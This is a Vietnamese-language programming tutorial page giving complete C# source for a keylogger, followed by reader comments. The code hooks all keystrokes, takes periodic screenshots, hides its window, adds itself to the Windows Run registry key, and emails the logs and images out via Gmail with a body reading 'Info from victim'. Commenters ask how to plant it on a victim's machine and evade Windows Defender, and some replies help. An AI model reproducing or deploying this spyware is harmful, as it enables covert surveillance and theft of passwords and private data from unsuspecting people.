Lập trình Keylogger với C# Application

Lập trình Keylogger với C# Application

Khởi động cùng hệ thống tool Keylogger với C# Console Application Khởi động cùng hệ thống tool Keylogger với C# Console Application Khởi động cùng hệ thống tool Keylogger với C# Console Application Khởi động cùng hệ thống tool Keylogger với C# Console Application Khởi động cùng hệ thống tool Keylogger với C# Console Application 5/5 (12 reviews)

Khởi động cùng hệ thống tool Keylogger với C# Console Application

Đã đăng 2016-12-14 03:28:12 bởi HowKteam
31 bình luận 4475 lượt xem
Khởi động cùng hệ thống tool Keylogger với C# Console Application 5 /5 stars (1 reviews)
 

Không có gì tuyệt vời hơn là luyện tập với ví dụ thực tế. Nào cùng nhau thử thách bản thân với tool: Keylogger

Bạn nên có kiến thức về:

  • Console application
  • Threading
  • Bitmap
  • Vòng lặp
  • Xử lý chuỗi
  • Nhiều thứ linh tinh khác

Code Program.cs

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace KeyLogger
{
    class Program
    {
        #region hook key board
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero; 

        private static string logName = "Log_";
        private static string logExtendtion = ".txt";

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        /// <summary>
        /// Delegate a LowLevelKeyboardProc to use user32.dll
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

        /// <summary>
        /// Set hook into all current process
        /// </summary>
        /// <param name="proc"></param>
        /// <returns></returns>
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            {
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
                }
            }
        }

        /// <summary>
        /// Every time the OS call back pressed key. Catch them 
        /// then cal the CallNextHookEx to wait for the next key
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);

                CheckHotKey(vkCode);
                WriteLog(vkCode);
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        /// <summary>
        /// Write pressed key into log.txt file
        /// </summary>
        /// <param name="vkCode"></param>
        static void WriteLog(int vkCode)
        {
            Console.WriteLine((Keys)vkCode);
            string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
            StreamWriter sw = new StreamWriter(logNameToWrite, true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
       
        /// <summary>
        /// Start hook key board and hide the key logger
        /// Key logger only show again if pressed right Hot key
        /// </summary>
        static void HookKeyboard()
        {
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }

        static bool isHotKey = false;
        static bool isShowing = false;
        static Keys previoursKey = Keys.Separator;
        
        static void CheckHotKey(int vkCode)
        {
            if ((previoursKey == Keys.LControlKey || previoursKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
                isHotKey = true;

            if (isHotKey)
            {
                if (!isShowing)
                {
                    DisplayWindow();                   
                }
                else
                    HideWindow();

                isShowing = !isShowing;
            }

            previoursKey = (Keys)vkCode;
            isHotKey = false;
        }
        #endregion      

        #region Capture
        static string imagePath = "Image_";
        static string imageExtendtion = ".png";

        static int imageCount = 0;
        static int captureTime = 100;

        /// <summary>
        /// Capture al screen then save into ImagePath
        /// </summary>
        static void CaptureScreen()
        {
            //Create a new bitmap.
            var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
                                           Screen.PrimaryScreen.Bounds.Height,
                                           PixelFormat.Format32bppArgb);

            // Create a graphics object from the bitmap.
            var gfxScreenshot = Graphics.FromImage(bmpScreenshot);

            // Take the screenshot from the upper left corner to the right bottom corner.
            gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
                                        Screen.PrimaryScreen.Bounds.Y,
                                        0,
                                        0,
                                        Screen.PrimaryScreen.Bounds.Size,
                                        CopyPixelOperation.SourceCopy);

            string directoryImage = imagePath + DateTime.Now.ToLongDateString();

            if (!Directory.Exists(directoryImage))
            {
                Directory.CreateDirectory(directoryImage);
            }
            // Save the screenshot to the specified path that the user has chosen.
            string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);

            try
            {
                bmpScreenshot.Save(imageName, ImageFormat.Png);
            }
            catch
            {

            }
            imageCount++;
        }

        #endregion

        #region Timer
        static int interval = 1;
        static void StartTimmer()
        {
            Thread thread = new Thread(() => {
                while (true)
                {
                    Thread.Sleep(1);

                    if (interval % captureTime == 0)
                        CaptureScreen();

                    if (interval % mailTime == 0)
                        SendMail();

                    interval++;

                    if (interval >= 1000000)
                        interval = 0;
                }
            });
            thread.IsBackground = true;
            thread.Start();
        }
        #endregion

        #region Windows
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        // hide window code
        const int SW_HIDE = 0;

        // show window code
        const int SW_SHOW = 5;

        static void HideWindow()
        {
            IntPtr console = GetConsoleWindow();
            ShowWindow(console, SW_HIDE);
        }

        static void DisplayWindow()
        {
            IntPtr console = GetConsoleWindow();
            ShowWindow(console, SW_SHOW);
        }
        #endregion

        #region Registry that open with window
        static void StartWithOS()
        {
            RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\ListenToUser");
            RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
            string keyvalue = "1";
            try
            {
                regkey.SetValue("Index", keyvalue);
                regstart.SetValue("ListenToUser", Application.StartupPath + "\\" + Application.ProductName + ".exe");
                regkey.Close();
            }
            catch (System.Exception ex)
            {
            }
        }
        #endregion

        #region Mail
        static int mailTime = 5000;
        static void SendMail()
        {
            try
            {
                MailMessage mail = new MailMessage();
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");

                mail.From = new MailAddress("email@gmail.com");
                mail.To.Add("email@gmail.com");
                mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString();
                mail.Body = "Info from victim\n";

                string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion;

                if (File.Exists(logFile))
                {
                    StreamReader sr = new StreamReader(logFile);

                    mail.Body += sr.ReadToEnd();

                    sr.Close();
                }

                string directoryImage = imagePath + DateTime.Now.ToLongDateString();
                DirectoryInfo image = new DirectoryInfo(directoryImage);

                foreach (FileInfo item in image.GetFiles("*.png"))
                {
                    if (File.Exists(directoryImage + "\\" + item.Name))
                        mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name));
                }

                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("email@gmail.com", "password");
                SmtpServer.EnableSsl = true;

                SmtpServer.Send(mail);
                Console.WriteLine("Send mail!");

                // phải làm cái này ở mail dùng để gửi phải bật lên
                // https://www.google.com/settings/u/1/security/lesssecureapps
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
        #endregion
        static void Main(string[] args)
        {
            StartWithOS();
            HideWindow();

            StartTimmer();
            HookKeyboard();
        }
    }
}

Hãy khoe thành tích của mình dưới phần bình luận nhé.

Đừng quên: “Luyện tập – Thử thách – Không ngại khó

Chia sẻ:
Thảo luận Hỏi và đáp Báo lỗi bài viết
Hủy bỏ   hoặc  
Khởi động cùng hệ thống tool Keylogger với C# Console Application
nguyencongtu867 2018-10-24 20:18:08

Rồi làm sao để cài đặt vào máy vitctim và lỡ  như victim tắt máy thì khi khởi động lại thì keylogger còn đang dùng k hay phải bật lại . và làm sao để khi victim khởi động máy thì keylogger đồng thời cũng được khỏi động theo !!  

0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
nguyencongtu867 2018-10-23 20:59:59

Làm xong muốn gửi file cho vittim thì phải làm sao ! gửi = mail thì nó báo k phù hợp và bị chặn ! và bị lỗi ngay khúc             catch (System.Exception ex) ( lỗi cái ex) dòng 256 đó ! . mong các bạn giải đáp cảm ơn

0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
datnguyenks 2018-07-31 19:01:08

Em bị lỗi không khởi động cùng windows. Anh có thể giúp em vấn đề này được không?

0 bình chọn
Reply
View all 1 comments
Kteam - Howkteam Free Education
Phạm Nguyễn Tuấn Thông 2018-08-23 10:51:27
bạn vào TaskManager ===&gt; Startup rồi bạn tìm đến Keylogger xem có bị ngắt kết nối ko nhé? Nếu không thì xem lại code nhé bạn
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
Thịnh 2018-04-08 19:39:21

có cách nào gửi 10-15 pic mỗi lần không anh

0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
Thịnh 2018-04-08 00:06:57

Em bị lỗi này khi gửi mail và không biết cách fix
system.net.smtpexception: the operation has timed uot

0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
qpCoders 2017-12-25 19:02:17

anh hướng dẫn dễ hiểu và vui tính lắm. tks a...
có trò mời để troll các anh em trong phòng rồi 

0 bình chọn
Reply
View all 1 comments
Kteam - Howkteam Free Education
Phạm Nguyễn Tuấn Thông 2018-08-01 13:53:09
Muốn vui hơn nữa hãy viết code thêm nữa chứ code như vậy chưa đủ
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
nhlinhcs 2017-05-21 19:25:44

Bị windows defender nhận ra anh ạ. Giờ làm sao để nó không nhận ra nữa anh?

0 bình chọn
Reply
View all 1 comments
Kteam - Howkteam Free Education
pda 2017-10-12 15:41:40
Chắc chắn rồi bạn ơi. Cái này mình chủ yếu để nắm kỹ thuật thôi. còn muốn qua mặt được phần mềm diệt virut phải mã hóa code nữa chứ không dễ vậy đâu.
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
trungk56utc6 2017-05-15 23:36:51

xao em copy paste code của anh vo visual hạy thì báo lỗi nhỉ

0 bình chọn
Reply
View all 2 comments
Kteam - Howkteam Free Education
K9 2017-05-20 10:57:27
lỗi thì phải biết lỗi cụ thể chứ bạn. với làm ơn học cơ bản trước rồi hẳn làm các bài nâng cao nhé
0 bình chọn
Reply
Kteam - Howkteam Free Education
pda 2017-10-12 15:43:30
Bạn bị báo lỗi gì. Copy code bài học cuối cùng. Nhớ add thêm 02 thư viện đã nói trong bài học. Ngoài ra thay đổi thông số chụp hình lại (trong code đang để 100). Mình copy và dùng OK mà.
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
trungk56utc6 2017-05-15 23:36:47

xao em copy paste code của anh vo visual hạy thì báo lỗi nhỉ

0 bình chọn
Reply
View all 1 comments
Kteam - Howkteam Free Education
Phạm Nguyễn Tuấn Thông 2017-08-15 23:09:10
Add thư viện vào là xong
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
Việt 2017-03-28 23:04:32
như thế này là xong phần mềm rồi hay mình có cần phải đóng gói k a
0 bình chọn
Reply
View all 1 comments
Kteam - Howkteam Free Education
pda 2017-10-12 15:44:20
Bạn xuất ra file exe để chạy chứ.
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
conkhidan 2016-12-29 18:59:37
cho mình hỏi. Nếu 1 PC có sử dụng Antivirut thì phần mềm này có bị xóa luôn không nhỉ
0 bình chọn
Reply
View all 6 comments
Kteam - Howkteam Free Education
K9 2016-12-29 20:40:52
có thể bị nhé bạn
0 bình chọn
Reply
Kteam - Howkteam Free Education
conkhidan 2016-12-30 00:35:40
cho e hỏi. có cách nào để khi gửi 1 mail rồi, nó sẽ xóa cách file ảnh cũ đi không ạ. tại nếu không xóa nó lại gửi lặp lại các ảnh cũ.
0 bình chọn
Reply
Kteam - Howkteam Free Education
K9 2016-12-30 19:06:26
đơn giản là xóa folder cũ đi thôi bạn. gửi xong xóa
0 bình chọn
Reply
Kteam - Howkteam Free Education
docnhatvonhi40 2017-03-12 22:17:55
xoa folder lỗi , tại nó đang thực hiện việc gửi
0 bình chọn
Reply
Kteam - Howkteam Free Education
docnhatvonhi40 2017-03-12 22:18:33
lưu nó trên ram rồi gửi tốt hơn
0 bình chọn
Reply
Kteam - Howkteam Free Education
vuadautokt 2017-03-18 04:10:16
Cho mình góp ý nhé, có khi sai! Sao khi Send Mail xong thì tạo folder mới chứa! Nếu thích xóa folder cũ! Tiện thể nếu muốn send file mail ta coppy hết dữ liệu sang Mail.body xong ta lại bỏ vào file khác rồi up file đó lên mai! !!! Có lẽ sai!
0 bình chọn
Reply
Khởi động cùng hệ thống tool Keylogger với C# Console Application
Khánh Nguyễn 2016-12-16 19:51:37
sao mình làm xong rồi chạy cùng windows thì nó báo lỗi nhỉ?
1 bình chọn
Reply
View all 6 comments
Kteam - Howkteam Free Education
K9 2016-12-16 22:03:42
lỗi gì vậy bạn
0 bình chọn
Reply
Kteam - Howkteam Free Education
Khánh Nguyễn 2016-12-17 22:19:53
Dạ lỗi StopWorking ạ....e dùng win 10Pro ạ Đầu tiên e làm cách như anh ko đc...sau đó e tìm hiểu cách khác như sau: sử dụng cách copy 1 file .exe vào thư mục :"C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" để chạy khi mở máy mà nó vẫn lỗi StopWorrking ạ
0 bình chọn
Reply
Kteam - Howkteam Free Education
Khánh Nguyễn 2016-12-17 22:21:56
anh có thể giải thích hộ em là lỗi ở đâu được ko ạ...em mới học xong C++ chứ vừa bắt đầu C# thôi nên còn gà mờ lắm ạ nên anh giải thích cho em dễ hiểu xíu nha....em cảm ơn
0 bình chọn
Reply
Kteam - Howkteam Free Education
K9 2016-12-18 09:31:24
e debug thử sẽ thấy. nó báo là k thể động tới folder của e muốn coppy dô. vì e cần quyền admin. túm lại né nó ra cho dễ cho e. còn k e phải chạy app dưới quyền admin
0 bình chọn
Reply
Kteam - Howkteam Free Education
Khánh Nguyễn 2016-12-18 16:00:39
À ko nó khởi động được chứ anh...chụp đc vài bức hình kỉ niệm là StopWorking ngay :D Em đã thử nhiều cách và mới thành công tại cách là: lưu folder ảnh chụp màn hình và file txt ra chỗ khác...ko thể sinh thêm các files đó tại folder có file .exe được vì windows nó bắt lỗi đó á anh
0 bình chọn
Reply
Kteam - Howkteam Free Education
Khánh Nguyễn 2016-12-18 16:03:37
giờ phát sinh thêm cái nữa là phải xóa hết ảnh sau mỗi lần gửi mail với reset lại file .txt chứ ko là nó sẽ "cắn" hết bộ nhớ trên máy người ta với lại file gmail bị lặp và khó kiểm tra reset file text thì e làm được rồi mà còn cái xóa ảnh đã chụp nó báo lỗi miết vậy à :'(
0 bình chọn
Reply
Hủy bỏ   hoặc  
Hủy bỏ   hoặc  

Chiến dịch

Kteam - Howkteam Free Education